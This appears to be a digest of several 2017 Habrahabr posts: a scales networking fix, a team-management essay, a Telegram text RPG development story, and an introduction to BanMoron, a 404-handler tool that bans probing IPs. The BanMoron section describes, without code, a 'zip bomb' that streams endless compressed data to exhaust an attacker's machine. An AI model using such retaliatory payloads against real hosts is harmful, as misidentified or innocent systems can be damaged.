Вячеслав Черников — руководитель отдела разработки компании Binwell, Microsoft MVP и Xamarin Certified Developer. В прошлом — один из Nokia Champion и Qt Certified Specialist, в настоящее время — специалист по платформам Xamarin и Azure. В сферу mobile пришел в 2005 году, с 2008 года занимается разработкой мобильных приложений: начинал с Symbian, Maemo, Meego, Windows Mobile, потом перешел на iOS, Android и Windows Phone. Статьи Вячеслава вы также можете прочитать в блоге на Medium.

Другие статьи автора:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335418/


Пассивное устройство, маршрутизация и Штрих-Принт С

Пятница, 11 Августа 2017 г. 12:33 + в цитатник

Что это за чушь?


Наверняка задались Вы вопросом при прочтении заголовка. Признаюсь, меня посетили точно такие же мысли при прочтении документации от Штриха к весам Штрих-Принт С.
А случай состоит в следующем, магазин пожаловался, что не идет выгрузка на некоторые весы. Не буду говорить сколько я потратил времени на решение этой проблемы, просто опишу под катом вводные данные и то, что привело к решению проблемы.


Вводные данные


Что мы имеем из исходного? Схема с сетевой точки зрения абсолютно банальная.

  • Подсеть магазина 192.168.1.0/24 с устройствами и маршрутизатором 192.168.1.254 и весами 192.168.1.200
  • Подсеть терминального сервера 192.168.2.0/24 с терминальным сервером 192.168.2.10 и шлюзом для него 192.168.2.254
  • Между роутерами, у которых локальные адреса 192.168.1.254 и 192.168.2.254, поднят туннель на публичных интерфейсах и взаимные статические маршруты на интересующие нас подсети в эти туннели.
  • С терминального сервера 192.168.2.10 не выгружаются данные на 192.168.1.200

Ну что ж. Первым делом проверяю пинг до весов с терминального. Не пингуется.
Проверяю доступность весов из сегмента 192.168.1.0/24. Пингуются.
Бааа, да тут все банально — шлюз на весах не прописан, вот и не работает ничего.

Необъяснимо, но факт


Захожу в меню весов, и тут меня постигает первый пункт удивления — а там нет настроек шлюза. Совсем нет. Да не может такого быть, открываем документацию:



ARP есть, но устройство пассивное (что такое пассивное устройство с поддержкой IP/UDP вообще?). Но ведь работало. И работает в других магазинах с маршрутизацией.
Оказывается, эти весы еще и пингуются и с маршрутизатора 192.168.2.254. И из сегмента 192.168.0.0/24, подключенного тоже к маршрутизатору 192.168.2.254. Таким образом, весы знают MAC маршрутизатора, кадры формируют правильные, но они почему-то теряются именно на пути к терминальному серверу 192.168.2.10.

Что было опробовано? Перезагружались задействованные промежуточные свитчи (неуправляемые, без L3 естественно) сегмента 192.168.2.0/254. Перезагружался роутер 192.168.2.254. Менялся IP адрес на весах на заведомо маршрутизируемый до терминального сервера.

А решается проблема очень просто — перезагрузкой собственно весов.

P.S. Интересно, как ребята из Штриха сделали поддержку в прошивке отправки в другие подсети пакетов, они просто берут тот src MAC, который им пришел и выставляют его как dst? А вся поддержка ARP — это в том смысле, то весы умеют на ARP-запросы отвечать, но не генерировать их?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335414/


Метки:  

Социальный Организм — как форма эффективного взаимодействия команды. Часть 1

Пятница, 11 Августа 2017 г. 12:32 + в цитатник
Пробная версия этой статьи уже публиковалась мною.

I Вступление


Я хочу поделиться теорией, которую недавно создал.
Агент Смит (Фильм «Матрица»)
Немного о себе. На заре своей карьеры я долгое время работал программистом. Позже, когда мне стало скучно просто кодировать, переквалифицировался в системного аналитика, попутно исполняя функции менеджера проектов. В последнее же время обстоятельства сложились так, что совместно с партнерами мы создали небольшую ИТ компанию.

Мне и раньше приходилось подбирать персонал в свою команду, но одно дело нанимать людей в фирму, где ты и сам наемный работник, и совсем другое, когда ты впускаешь чужих, малознакомых людей в свое детище. Волей-неволей задумываешься, как сделать так, чтобы сотрудники не просто формально рассчитывались своим трудом, за выплачиваемые им деньги, а старались привнести в общее дело что-то свое личное: важное для них и одновременно полезное для всех?

Очевидно, тут нужен какой-то особенный инструмент, который позволит собрать группу одиночек и превратить их в команду соратников. При чем этот инструмент должен быть не просто клубом, где “тусуются” единомышленники, а способом качественного и эффективного решения производственных задач.

Поскольку, по роду своей деятельности, я привык подходить к решению проблем системно, то и в данной ситуации, совершил экскурс в основы социологии и провел блиц анализ предметной области. Информации оказалось очень много, и она пролила свет на некоторые, моменты, ранее не очевидные для меня. Но все же найти готовые комплексные решения, которые позволили бы построить свою собственную «страну Оз», я так и не смог. А потому, я решил систематизировать добытую информацию, немного разбавить ее своим личным опытом и самому спроектировать этот “волшебный” инструмент.

Осуществляя свои замыслы, я использовал все те же приемы и навыки, которые обычно практикую в профессиональной деятельности для анализа и проектирования автоматизированных систем. И вот что у меня получилось.

Для кого и для чего предназначена эта статья:


В книгах по менеджменту [1], [2], разделы об эффективности, чаще всего, посвящены воспеванию роли личности в достижении целей организации. В этом контексте, пожалуй, самой важной характеристикой успешности менеджера является наличие у него харизмы (особой одарённости, исключительности личности в интеллектуальном, духовном, или каком-либо другом отношении), которая подталкивает окружающих следовать за ним, а чаще всего — просто подчиняться. С прагматической точки зрения харизма помогает ее обладателю воплощать в жизнь свои идеи, планы, задумки, используя потенциал окружающих людей. Стало быть, основной лейтмотив книг, посвященных лидерству: хотите добиться успеха – займитесь уже наконец свою харизмой.

А можно ли вообще развить у человека эту самую его персональную харизму? По существу среди отличительных особенностей харизматичных людей можно выделить:
  1. Уверенность в себе;
  2. Способность заражать людей своими идеями;
  3. Чувствительность к эмоциональному настрою других людей;
  4. Управление своими эмоциями;
  5. Умение ярко выражать свои мысли;

Конечно при желании человек способен культивировать в себе эти качества. Хотя, если до зрелого возраста они не проявились в полной мере сами, то скорее всего, от природы или в силу определенного воспитания, они вступают в конфликт с его внутренним “Я”. В подобных ситуациях, попытки имитации харизматичности будут сопровождаться постоянным внутренним столкновением с самим собой, ну или в лучшем случае – попыткой бросить вызов самому себе. Но так или иначе результат будет один — навязчивое чувство невыполненного долга: — Мне “Это” неприятно, я хочу заниматься другим, но я ДОЛЖЕН собраться и идти выполнять “Это”.

Не всегда так просто признаться себе в том, что ты попал в подобную ситуацию. Разобраться в своих ощущениях и не врать, хотя бы самому себе, иногда помогают сказки с глубинным смыслом. Погружаясь в них, часто улавливаешь аналогии с действительностью. Помните, как у Е. Шварца в «Обыкновенном чуде», когда король боялся, что его будут донимать правдой о состоянии дел в королевстве, о болезни принцессы и он пытается убежать от всего этого:

Первый министр Ваше величество…
Король До свидания, до свидания!
Первый министр Ваше величество, выслушайте меня.
Король Я спать хочу.

Потому что я вырождаюсь, дурак ты этакий! Книжки надо читать и не требовать от короля того, что он не в силах сделать. Принцесса умрет? Ну и пусть…
Воды!
Эмилия Не давайте ему воды, пусть слушает правду!

Под гнетом такого дискомфорта, рано или поздно, страдалец задается вопросом: а стоит ли овчинка выделки?

В данной статье я хочу предложить другой подход, для решения подобных проблем. Давайте подойдем к этой теме с другой стороны. На первый план выдвинем не лидера и его качества, ведущие команду вперед, а ту атмосферу, ауру, которую человек (или группа людей) излучают вокруг себя, увлекая единомышленников. И что мы видим с этого ракурса? С этой точки зрения, именно привлекательность некого искусственно созданного социального образования (Мира), и притягивает в него нужных Вам обитателей. В результате, Вы можете сплотить людей для достижения своих целей не своей эксцентричностью, а их собственными интересами, которые могут быть удовлетворены в сотворенном Вами Мире. Примером тому могут служить социальные сети, позволившие личностям, не обладающим лидерскими качествами, привлечь внимание людей к своему виртуальному миру и решить при этом некие свои задачи. Подобие такого виртуального мира можно создавать не только в компьютерных сетях или в сказках, но и в реальном социуме. В дальнейшем при упоминании об этом явлении я буду использовать термин — Социальный Организм.

Подведем итоги вышесказанного: для решения своих целей и задач, требующих организовывать людей в команду сподвижников, нужно научиться создавать подходящий Социальный Организм, максимально привлекательный для каждого участника команды. В этом нелегком деле, как нельзя лучше, может пригодиться умение моделировать реальность, позволяющее самой реальности придать “модельную внешность”. Дальше больше, в этих отношениях может зародиться взаимность: если участник находит Социальный Организм привлекательным, то он и сам чаще всего становится привлекательным для Социального Организма.

Простейший пример: создание и функционирование небольшой организации, которая недавно образовалась, у которой еще нет узнаваемого имени, амбиций и конкурентных гонораров. Что может привлечь в нее сотрудников? Из моего опыта я назову: уют, безмятежность, некая камерность, да перспективы роста, да стремление к развитию, но это потом, не сегодня, чуть позже, когда окрепнем, возмужаем… Фактически учредитель этой организации создает некий свой Социальный Организм, в котором обитают все кто принимает его — в данном случае сотрудники. Конечно со временем он должен меняться, ведь сотрудники, приходя в организацию, в конечном итоге хотят удовлетворить свои личные потребности. Помимо повышения материального благополучия, это может быть: познание нового, повышение профессионального уровня и защищенности, способ общения или признания, хобби и т.п. И поэтому, от того насколько постоянно комфортно будет обитать в этом сообществе его участникам, напрямую зависит их благодарность, выраженная в виде: вовремя и качественно выполненных задач, неравнодушия к проблемам организации, взаимопомощи сотоварищам и т.д.

Если Вас заинтересовали, поднятая во Введении проблематика, давайте разбираться дальше…

II Определение понятия Социального Организма


— Что есть реальность? И как определить ее?
—Весь набор ощущений: зрительных, осязательных, обонятельных — это сигналы рецепторов, электрические импульсы, воспринятые мозгом.
Морфиус (Фильм «Матрица»)

Как было указано выше, в данной статье рассматриваются вопросы построения социального образования (Социального Организма), как способ эффективной организации людей для достижения неких личных или коллективных целей, отличных от бизнес целей предприятия. А то, что подобные сообщества, чаще всего, улучшают климат на предприятии и повышают качество деловых процессов организации – скорее всего бонус, который можно зачесть себе в актив.

Итак, рассмотрим под разными углами явление Социального Организма.

1. Общие характеристики Социального Организма


Для того чтобы, встречая в тексте термин Социальный Организм, в воображении у всех возникала примерно одна и та же картинка, дадим ему определение:
Социальный Организм — совокупность различных аспектов жизнедеятельности некого сообщества, взаимодействие которых придает ему целостный характер и определяется целями его образования. Он характеризуется тенденциями социально принятыми в этом обществе и ориентированными на изменение социальной действительности.

Согласно Г. Спенсеру [3], подобно биологическим организмам, социальные могут также:
  • Расти и увеличиваться в размерах, при этом усложняя свое внутреннее строение;
  • В результате эволюции одни социальные организмы могут развиваться, а другие погибать или поглощаться более сильными;
  • В течении своего существования социальные организмы могут проходить путь от зарождения к становлению, старению и смерти. Эта теория хорошо раскрыта И. Адизесом [4];
  • После смерти социального организма как целого, его отдельные части могут продолжить функционирование, как самостоятельные организмы;

Заметьте, в современном мире характеристика «Живое», чаще встречается рядом со словом Пиво. Хотя социальное сообщество, на мой взгляд, гораздо больше заслуживает применения к себе этого эпитета.

Еще интереснее оказалось рассматривать понятие Социального Организма через призму теории проекционного восприятия. Не зря в его определении мы использовали фразу: «изменение социальной действительности». С этой точки зрения Социальный Организм выступает психологическим инструментом, который заставляет его участников воспринимать стимулы и события, происходящие в сообществе — как свои собственные ожидания, потребности, желания и т.д. А также способствует непроизвольному приписыванию себе убеждений, ценностей или других субъективных процессов, пропагандируемых в Социальном Организме. С этой точки зрения сообщество вообще выглядит как инструмент манипуляции людьми. Ницше писал: «Несчастным или счастливым человека делают только его мысли, а не внешние обстоятельства. Управляя своими мыслями, он управляет своим счастьем». В данном контексте мыслями для ощущения счастья человека помогает управлять Социальный Организм и важно, чтобы этот инструмент использовался на благо самих участников, а не ради корысти манипулятора. В противном случае жизни людей, попавших в подобную ловушку, подменяются лишь плодом воображения, погруженным в вымысел афериста.

2. Внешнее окружение Социального Организма


Для того чтобы перейти к анализу жизнедеятельности Социального Организма, давайте сначала определим всех тех, с кем он взаимодействует и всё то, что так или иначе на него влияет. Поскольку мы встали на твердую позицию рассмотрения сообщества как живого организма, то его окружение можно считать Экологией, а основным объектом влияния — организацию в рамках которой существует Социальный Организм.

Итак, как соотносятся организация и Социальный организм? Рассматривая организацию как систему, ее можно представить в виде совокупности трех значимых подсистем: материальной (здания, оборудование, ресурсы, документация и т.д.), биологической (люди) и социальной (правила поведения, традиции, корпоративная этика и т.д.) см. рис.1.


Рисунок 1 – Подсистемы организации

Поэтому в данной статье говоря о Социальном Организме мы всё-таки будем осознавать, что он является составной частью чего-то большего (Организации). И изменения в нем будут в значительной степени влиять на всю организацию. Следовательно, развивая Социальный Организм, мы можем влиять и на развитие организации

Так же следует учитывать, что Социальный Организм существует не в организационном вакууме. Его окружают другие Социальные Организмы, как внутри организации, так и за ее пределами, оказывая то или иное влияние.

3. Структура представления Социального Организма


Сам же Социальный организм по своей сути можно также декомпозировать (разделить на составные части). Воспользуемся моделью Джо Оуэна деления на составляющие менеджмента [5].

На мой взгляд эта трехмерная модель, как нельзя лучше подходит и для определения сегментов воздействия в сообществе: 1) Рациональный мир, 2) Эмоциональный мир, 3) Политический мир см. рис.2.


Рисунок 2 – Подсистемы Социального организма

Первые два сегмента обсуждаются в литературе довольно часто, а вот роли Политического мира в жизни сообщества, связанной с аспектами: нравственности, борьбы за выживаемость, использование рычагов власти и т.д. редко уделяется должное внимание.

В дальнейшем, при проектирования Социального организма, мы будем определять функции, которые он должен выполнять. Каждую функцию мы будем причислять к тому или иному сегменту воздействия. Таким образом, с одной стороны, мы сможем убедиться, что охватили вниманием все стороны жизнедеятельности сообщества, а с другой будем понимать, какая функция, на какой сегмент оказывает наибольшее влияние.

4. Предназначение и границы Социального Организма


Основной отличительной особенностью каждого подобного социального образования, влияющей на его жизненный цикл, являются – цели его создания.

Поэтому, перед тем как начинать создавать новый Социальный Организм, в котором есть потребность, прежде ответим на вопросы: чего же мы хотим достичь в результате и какие выгоды хотим от этого получать? Также немаловажно сразу определить, по каким критериям мы сможем оценить успешность этого “творения”.

Например, я проснулся с утра в хорошем настроении и решил создать фирму, производящую некий продукт или услугу. Хорошее начало… А для чего мне это все нужно:

  1. Удовлетворить свои амбиции как бизнесмена, построив успешное предприятие;
  2. Удовлетворить свои амбиции как специалиста в области, связанной с производством выбранного продукта или услуги, создав конкурентоспособный продукт;
  3. Заработать средства на достойное, безбедное существование;
  4. Удовлетворить рынок, испытывающий потребность в выпускаемом предприятием продукте или услуге, донеся его до потребителя;

Будем реалистами, для того, чтобы реализовать этот проект мне потребуется привлечь людей. А для того, чтобы реализовать проект эффективно, как мы предположили ранее, необходимо погрузить этих люди в Социальный Организм — некую среду для их комфортного обитания. Причем в число обитателей могут войти не только сотрудники, но и все заинтересованные стороны (контактные лица поставщиков, проверяющий из налоговой и т.п.).

Так всё-таки, для чего же конкретно нашему проекту нужна эта среда? Определим цели ее создания:


Этот приблизительный набор целей может пополняться и корректироваться в процессе формирования Социального Организма.

5. Границы Социального Организма


Строя такое сообщество, мы не можем охватить им весь мир. Нет, мы бы конечно смогли, но: во-первых, это очень затратно, а во-вторых, наверное, не имеет смысла. Да и сам мир, в конце концов, может быть против. Очевидно нужно очертить для себя какие-то рамки, за которые не следует выходить.

Определяя границы, в которых будет функционировать Социальный Организм, следует отталкиваться от собственных потребностей и возможностей. Необходимо учитывать, что, раздвигая границы влияния сообщества, мы не только увеличиваем его аппетиты в ресурсах, но и усложняем взаимоотношение и взаимосвязи в нем. А это, в свою очередь, может повлечь за собой потерю общего понимания самих принципов жизнедеятельности Социального Организма.
Непонимание членами сообщества всех процессов и событий, происходящих в нем, ведет к его непредсказуемости и утрате гармонии. На мой взгляд, при коллективном взаимодействии всегда лучше чувствовать некую неизбежность, чем ждать неизбежных неожиданностей.

В рассматриваемом нами примере, создаваемая среда не должна распространять свое влияние за пределы организации, в рамках которой она функционирует. Хотя бывают варианты, когда предприятие например, помогает семье своего сотрудника, получая взамен лояльность ее членов. Но мы такой цели пока перед собой не ставили, поэтому оставим это за границами рассматриваемого Социального Организма.

6. Функции Социального Организма


Определившись с целями и очертив границы формируемого сообщества, можно предопределить функции, которыми мы должны его наделить. Еще раз хочу акцентировать внимание на том, что функции Социального Организма будут отличаться от общих деловых процессов Организации (Предприятия), поскольку у них в корне разные цели. Поэтому, в дальнейших рассуждениях отбросим все механистические и структурные аспекты и сделаем упор лишь на социально-этические.

По Г. Спенсеру [3] «Социальный организм» может быть представлен как три основных системы органов (еще одно трехмерное измерение): Управление (Регуляция), Производство (Поддержание) и Распределение (Стимулирование). Возьмем за основу эту классификацию и сгруппируем функции, которые должен выполнять рассматриваемый нами Социальный Организм:
1. Управление и Регуляция
1.1. Принимать и исключать участников Социального Организма;
1.1.1. Адаптировать новых участников к среде обитания;
1.1.2. Снижать стрессы Социального Организма при уходе участника;
1.2. Доносить до каждого участника Социального Организма — актуальные правила, стандарты и условия его функционирования и мотивировать участников искренне их разделять;
1.3. Реагировать на изменения окружающей среды;
1.3.1. Регулировать функционирование Социального Организма при его качественном и количественном изменении;
1.3.2. Мотивировать участников к обсуждению изменений в правилах функционирования Социального Организма, помогающих ему развиваться;
1.4. Перераспределять зоны ответственности между участниками, для достижения максимального результата совместной деятельности, учитывая основные правила и ограничения жизнедеятельности Социального Организма;
1.5. Культурно-Этическая координация
1.5.1. Определять ценностные ориентиры для участников;
1.5.2. Определять культурные нормы в среде;
2. Производство и Поддержание
2.1. Заинтересовывать всех участников Социального Организма в получении наилучшего результата от совместной деятельности. В том числе заинтересовать каждого, в достижении наилучшего результата остальными участниками на своих участках ответственности;
2.2. Подавлять конфликты в среде, поддерживая лишь здоровую конкуренцию;
3. Распределение и Стимулирование
3.1. Повышать привлекательность пребывания участников в Социальном Организме;
3.1.1. Обеспечить комфортные условия пребывания в середе;
3.1.2. Обеспечить социальную защиту от внешних угроз для участников;
3.1.3. Оградить участников от части повседневных, бытовых забот.

7. Итоги


Итак, подведем итоги проделанной работы. В этой главе мы рассмотрели со всех сторон многогранное явление Социального Организма:
  • Раскрыли его предназначение
  • Выявили его основные свойства и характеристики
  • Определили среду в которой он должен функционировать
  • Разложили его на составные части, определив структуру
  • Очертили и зафиксировали границы его воздействия
  • Обусловили функции, которыми он должен обладать

Но просто знания о какой-либо проблеме или даже возможностях, не решают самой проблемы и не воплощают возможности в жизнь.

Казалось бы, вот мы уже понимаем сущность Социального Организма и большинство его аспектов, но, как теперь воспользоваться всеми его преимуществами. Ведь его еще сначала надо как-то создать. А для этого необходимо определиться с конкретными методами и мероприятиями, которые позволят нам воплотить Социальный Организм в жизнь.

Список литературы


[1] Д. Гоулман, Эмоциональное лидерство. Искусство управления людьми на основе эмоционального интеллекта, 2014.
[2] Ф. Д. Питер, Эффективный руководитель, Москва: Манн, Иванов и Фербер, 2012.
[3] Г. Сненсер, Воспитание умственное, нравственное и физическое, 3-е изд ред., Либроком, 2012.
[4] И. Адизес, Управление жизненным циклом корпораций, Москва: Манн, Иванов и Фербер, 2014.
[5] Д. Оуэн, Как управлять людьми, Москва: Претекст, 2011.
[6] В. Лавриненко, Социология, Москва: ЮНИТИ-ДАНА, 2002.
[7] Н. Г.X.Боронова, Психология труда: конспект лекций, Научная книга, 2009.
[8] Р. Чалдини, Психология влияния, Питер, 2016.
[9] А. Черных, Ритуалы в медиатизированном обществе, Москва: Изд. дом Высшей школы экономики, 2012.
[10] В. В. Пономаренко, Управление конфликтами, Олимп, 2008.
[11] Г. Зиммель, Избранное. Проблемы социологии, Москва; Санкт-Петербург: Университетская книга, Центр гуманитарных инициатив, 2015.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335408/


Метки:  

Как я начал создавать текстовую MMO RPG

Пятница, 11 Августа 2017 г. 11:33 + в цитатник

image


В этой статье я опишу личный опыт написания первой версии текстовой MMO RPG для Телеграмма, используемые для этого технологии и этапы, через которые прошёл, при создании игры.


Введение, или как я докатился до всего этого


Начну немного издалека — с 2010-го года. Именно тогда я познакомился с браузерными играми и даже отдал им немало своего свободного времени. Через пару лет таких игр я захотел написать свою. Собрал несколько таких же энтузиастов в одной из этих браузерок и мы набросали некое подобие ТЗ для нашей будущей игры. На стадии написания ТЗ всё и закончилось тогда.
Но сама мысль поучаствовать "в большом гейм-деве" меня не покидала — теплилась где-то внутри, пока я занимался веб-программированием.


Так длилось до начала 2017-го года.


Примерно в середине января наша команда разработчиков получила заказ от одной широко известной компании для написания бота в одном или нескольких мессенджерах. Так как серверная часть разработки в команде на мне, то и выбирал платформу в основном я. Сначала был опробован Microsoft Bot Framework для Скайпа и Телеграмма (замечу тут в скобках, что с Телеграммом до того момента я знаком не был). Bot Framework показал какие-то дикие задержки ответов на запросы пользователя из телеграмма и я принял решение работать напрямую с Bot API Телеграмма.


Так был написан первый бот, с играми никак не связанный.
Но в процессе его написания, я обнаружил несколько текстовых игр, реализованных в виде ботов для Телеграмма. Попробовал одну "классическую" MMO RPG про замки, мечи, крафтинг и прочее в том же духе. Понравилась сама идея разделения на 5 фракций и битвы между ними. Посмотрел, попробовал и вскоре понял, что вот оно — я могу сделать текстовую RPG. Для этого хватит моих ресурсов и моей мотивации.


Это было начало февраля 2017-го...




Создание первой версии текстовой MMO RPG


Во-первых, был выбран сеттинг — самая что ни на есть современность. Вначале игра была названа "Hacker Wars" и было решено, что существует 5 компаний, в которых работают хакеры и взламывают друг друга. За успешные взломы получают местную валюту и опыт, за провалы — теряют валюту.
Этот базис с нами до сих пор, хотя и постоянно перебалансируется (об этом в другой раз).


Персонаж, по классике, имеет уровень и текущий опыт. С ростом опыта растёт и уровень персонажа. Тут ничего сложного.
Далее нужно было определить навыки персонажа. Силу, Защиту, Ловкость и прочие физические параметры я использовать не мог — хакеры не дерутся физически. Поэтому я выбрал 4-е таких параметра, противоположных друг другу попарно: Практика-Теория, Хитрость-Мудрость.


Следующие 3 дня я посвятил балансировщику и отрабатывал на нём различные формулы взаимодействия этих 4-х параметров у различных персонажей.
В этот момент было решено, что будет не просто сравнение параметров у соперников и у кого больше, тот и победил. Это скучно и нет никакого игрового момента. Нужна была именно схватка, с шансами попадания, уворота (аналоги взяты всё-таки из физического мира, чтоб проще объяснять). Или, что то же самое — с шансом взлома, ухода от взлома. За это отвечали Хитрость и Мудрость + рандом. А за сумму урона и критические удары — Практика и Теория. Т.е. я не стал ничего изобретать, просто назвал навыки более подходящим образом.
Итак, 3 дня и миллионы боёв ботов друг с другом были проведены.


Следующий этап — это так называемый "шмот". Различные мечи, щиты, луки и прочий скарб в классических RPG. Или плазмоганы в постапокалиптических. В современных реалиях я принял решение использовать Гаджеты. У персонажа 6 слотов под каждый вид гаджета. В одном слоте можно носить только один соответствующий гаджет.


После проведения расчётов стоимости гаджетов и их прибавке к навыкам персонажа, получил такую табличку (табличку позже подготовила девушка-игрок, в моей версии был просто sreadsheet):
image


Основы RPG заложены — навыки и гаджеты. MMO взаимодействие добавлено — битвы 5 компаний. Формулы прибавки опыта и утаскиваемой при успешном взломе валюты — расписаны. Но чего-то не хватало. Хотелось какой-то изюминки.


Так на 7-ой день (и увидел программист, что это хорошо :) ) в проекте появились Акции всех 5-ти компаний. Игрок мог купить акции любой компании, но на руках после покупки у него должна была оставаться некая сумма в местной валюте — таким образом к началу битв у игроков часто оказывались непустые кошельки, было что утащить при успешном взломе. Это стало первой увязкой акций и битв между собой. Следующий шаг — изменение стоимости акций в зависимости от результатов каждой битвы. Если компанию взломали — акции теряют в цене, если взломать не смогли, акции поднимаются в цене. Так акции стали влиять на битвы, а битвы — на акции.
В этот же момент я принял решение переименовать игру в StartupWars — Битвы Стартапов.


Из подобных же MMO проектов была взята и основная "валюта" продвижения — Энергия, которая пополняется со временем и увеличивается за счёт привлечения друзей по партнёрской ссылке — тут я не стал изобретать велосипед. Единственное — у нас эта валюта названа Мотивация. Некоторые действия игрока требуют затрат мотивации, а взамен дают опыт, деньги и прочие ресурсы.


Параллельно со всеми механиками шла работа и над созданием интерфейса игры. У телеграмм-бота есть два вида кнопок — "обычные" текстовые кнопки под строкой ввода и инлайновые — над строкой ввода. Плюс к кнопкам есть команды, начинающиеся со слеша, например /help.


Мной был принят ряд архитектурных решений на основе имеющихся интерфейсов. Так основные перемещения по разным "сценам" игры осуществляются через текстовые кнопки под строкой ввода. Там стараюсь держать не более 6 кнопок с учётом 1-ой для возврата в главное меню (главное меню — профайл персонажа). Если на какой-то странице 1-2 действия для принятия решения (например, подтверждение операции продажи всех акций на руках) — то использую инлайновые кнопки. Если же операций на странице много (например, покупка гаджетов в местном интернет-магазине) — то использую команды, начинающиеся со слеша.


Дело подходило к середине февраля, на 15-ое у меня была назначена операция, после возвращения с которой я собирался запускать проект. До операции оставалось пару дней, которые я потратил на введение в состав игры обширного хелпа и доработку различных мелочей (а дьявол как раз и кроется в мелочах) — например, если покупаешь более мощный гаджет для руки, то он автоматически заменят старый, а старый кладётся в рюкзак.


Первая версия была разработана ровно за 14 дней, в перерывах между основной работой.




Запуск первой версии текстовой MMO RPG


Итак, я вернулся из больницы и на следующий же день организовал запуск. Ребята из нашей команды помогли с настройкой сервера. На тот момент это был 1 основной игровой бот, получающий апдейты от телеграмма через long-polling. Плюс к нему пара скриптов на сервере, выполняемых по cron — сами битвы, проходящие автоматически раз в 3 часа в дневное время и скрипт восстановления потраченной мотивации.


Одновременно с запуском бота, я зарегистрировал 5 закрытых групп в телеграмме — по одной на каждую из противоборствующих компаний. Плюс одна открытая группа — для общения всех игроков между собой. Плюс канал новостей — про обновления самой игры. Художник из нашей команды подготовил красивые логотипы для всех этих 6 чатов, игрового бота и новостного канала.


На всём этом нехитром наборе контента мы и стартовали 18-го февраля вечером. К запуску приурочили статью на Спарке, откуда и получили первых игроков. Эти игроки уже раскидали друзьям промо ссылки на повышение мотивации и через 6 дней у нас было около 400 игроков.


Игра текстовая, т.е. после каждого действия игрока игра отправляет ему какой-то ответ. На момент старта все тексты подготовил я сам. Тогда имелось всего 2 квеста, где можно было потратить мотивацию — Работа и Прогулка. На работе игрок зарабатывал больше денег, но меньше опыта. На прогулке же больше опыта, но меньше денег. Каждый квест требовал вложений 1 мотивации и заканчивался через 5 минут реального времени. При окончании квеста игроку отправлялась случайная фраза из набора нескольких фраз с описанием события, которое произошло с ним на работе или прогулке.


Где-то на третий день после старта, на кураже, я решил провести конкурс окончания фраз прогулки и работы. "Реализовал" очень просто — предложил в главном чате игры писать фразы для конкурса с хештегом #sw_конкурс. И всё.
Через пару дней у нас уже было 109 фраз разной степени интересности.


И тут я понял, что пора бы эти фразы как-то систематизировать, отправлять к себе в базу и затем использовать в игре. Забегая вперёд, скажу, что эти фразы так и не попали в первую версию игры.


Так появился второй бот для игры, который я, недолго думая, назвал SW Информатор — что-то вроде электронного гида-помощника. Его я "подселил" во все 6 игровых чатов и он был призван собирать фразы для конкурса с хештегом. Буквально сразу после запуска этого бота, я придумал новый хештег для него — #идея. Каждый игрок мог предложить любую идею по улучшению действующего функционала игры или предложить совершенно новый функционал. В дальнейшем появились и другие хештеги, популярным из которых, к примеру, является #баг — это баг-репорт от игроков. За найденные баги и реализованные в игре идеи я расплачивался внутреигровой валютой.


Итак, игра была запущена и вокруг неё начало постепенно образовываться комьюнити. Я фиксил найденные игроками баги и реализовывал интересные идеи. К сожалению, в самом конце февраля я попал в больницу на 3.5 месяца и мои друзья были вынуждены остановить сервер игры 3 марта. Так перестала существовать первая версия моей первой игры.




Используемые технологии


  • язык программирования: nodejs
  • библиотека работы с Telegram Bot API — http://telegraf.js.org/. Понравилось разбиение на плагины (использую redis session и flow), middlewares, контекст.
  • в качестве оперативной базы взят redis — всё хранится и используется через него. Любые временные параметры персонажа, которые не нужно запоминать навсегда, также хранятся тут.
  • в качестве долговременной базы взята mongodb — здесь сохраняются все данные игрока, компаний сразу после битв. Используется для аналитики и как резервное хранилище данных.
  • в первой версии все отложенные действия (5-ти минутные задачи "прогулка" и "работа") были реализованы через setTimeout.



Примечание


Если интересно, как я запускал вторую версию после возвращения из больницы и через что прошёл с ней на текущий момент — пишите в комментариях, подготовлю ещё одну статью.


P.S.: Для тех хабровчан, кто захочет поиграть в описываемую здесь игру, я подготовил специальный бонус на старте, который можно получить только пройдя по ссылке для Хабра — https://t.me/StartupWarsBot?start=habrahabr

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335404/


Метки:  

BanMoron — инструмент активной защиты WEB-сервера от взлома

Пятница, 11 Августа 2017 г. 11:30 + в цитатник


Небось снова про блокчейн, только в профиль?

— А вот и не угадали! На этот раз – ничего ни про блокчейн, ни про Emercoin! В конце концов, имеем же мы право делать что-либо помимо основного проекта!


А сделали мы на этот раз утилиту для защиты веб-сервера от вездесущих кульхацкеров, которые постоянно пытаются залить эксплойт в веб-сайт и получить неавторизованный доступ к серверу, чтобы потом прямо на Вашей площадке заниматься всякими непотребствами. Вот об этой утилите под названием BanMoron и пойдёт речь ниже.

BanMoron – это маленькая программа (исходник меньше текста этой статьи), написанная на языке C, и предназначенная для эффективного противодействия попыткам взломать WEB-сервер путём использования стандартных уязвимостей WEB-систем типа Wordpress, PhpMyAdmin и им подобных.


Алгоритм работы программы прост:

  1. Программа ставится под WEB-сервер в качестве обработчика ошибки 404 (страница не найдена). То есть попытка хакера получить доступ к несуществующей странице или скрипту приведёт к запуску этой программы.
  2. После запуска программа анализирует строку-запрос клиента (REQUEST_URI), и ищет в ней подстроки-шаблоны, соответствующие попыткам получить доступ к тем или иным ресурсам для взлома системы (таким как setup.php).
  3. В случае нахождения какой-либо подстроки-шаблона, программа применяет тот или иной модуль противодействия, ассоциированный с данным шаблоном. Если же ни один шаблон не найден, программа просто выводит стандартную страницу, содержащую текст ошибки 404.

В настоящее время реализованы следующие модули противодействия:


  1. ban_moron_pf – добавляет IP-адрес клиента в таблицу блокировки файрвола pf. В результате, IP хакера попадает в чёрный список, и все запросы с этого IP игнорируются. Во избежание переполнения списка из него ежесуточно удаляются IPs, с которых в течение 3х последних суток не было более попыток соединиться с сервером. Удаление делается командой из crontab, пример таковой для pf приведёт в файле pf.crontab.
  2. zip_bomb – в ответ на запрос отправить ZIP-бомбу – бесконечный файл-поток, выглядящий как сильно закомпресованный html-файл с бесконечной вложенностью таблиц. Предназначен для исчерпания ресурса атакующей машины и вывода из строя атакующего скрипта. К сожалению, в настоящее время эта штука обладает низкой эффективностью, так как, если смотреть исходники зловредов, то видно, что там вовсю используется CURL, который zip-поток просто не распаковывает. Но для любителей вручную скачать биткоин-кошелёк браузером, эта штука всё ещё годится.
  3. zip_ban – комбинация первых двух. Сначала отправляет zip-бомбу, а потом – банит IP.


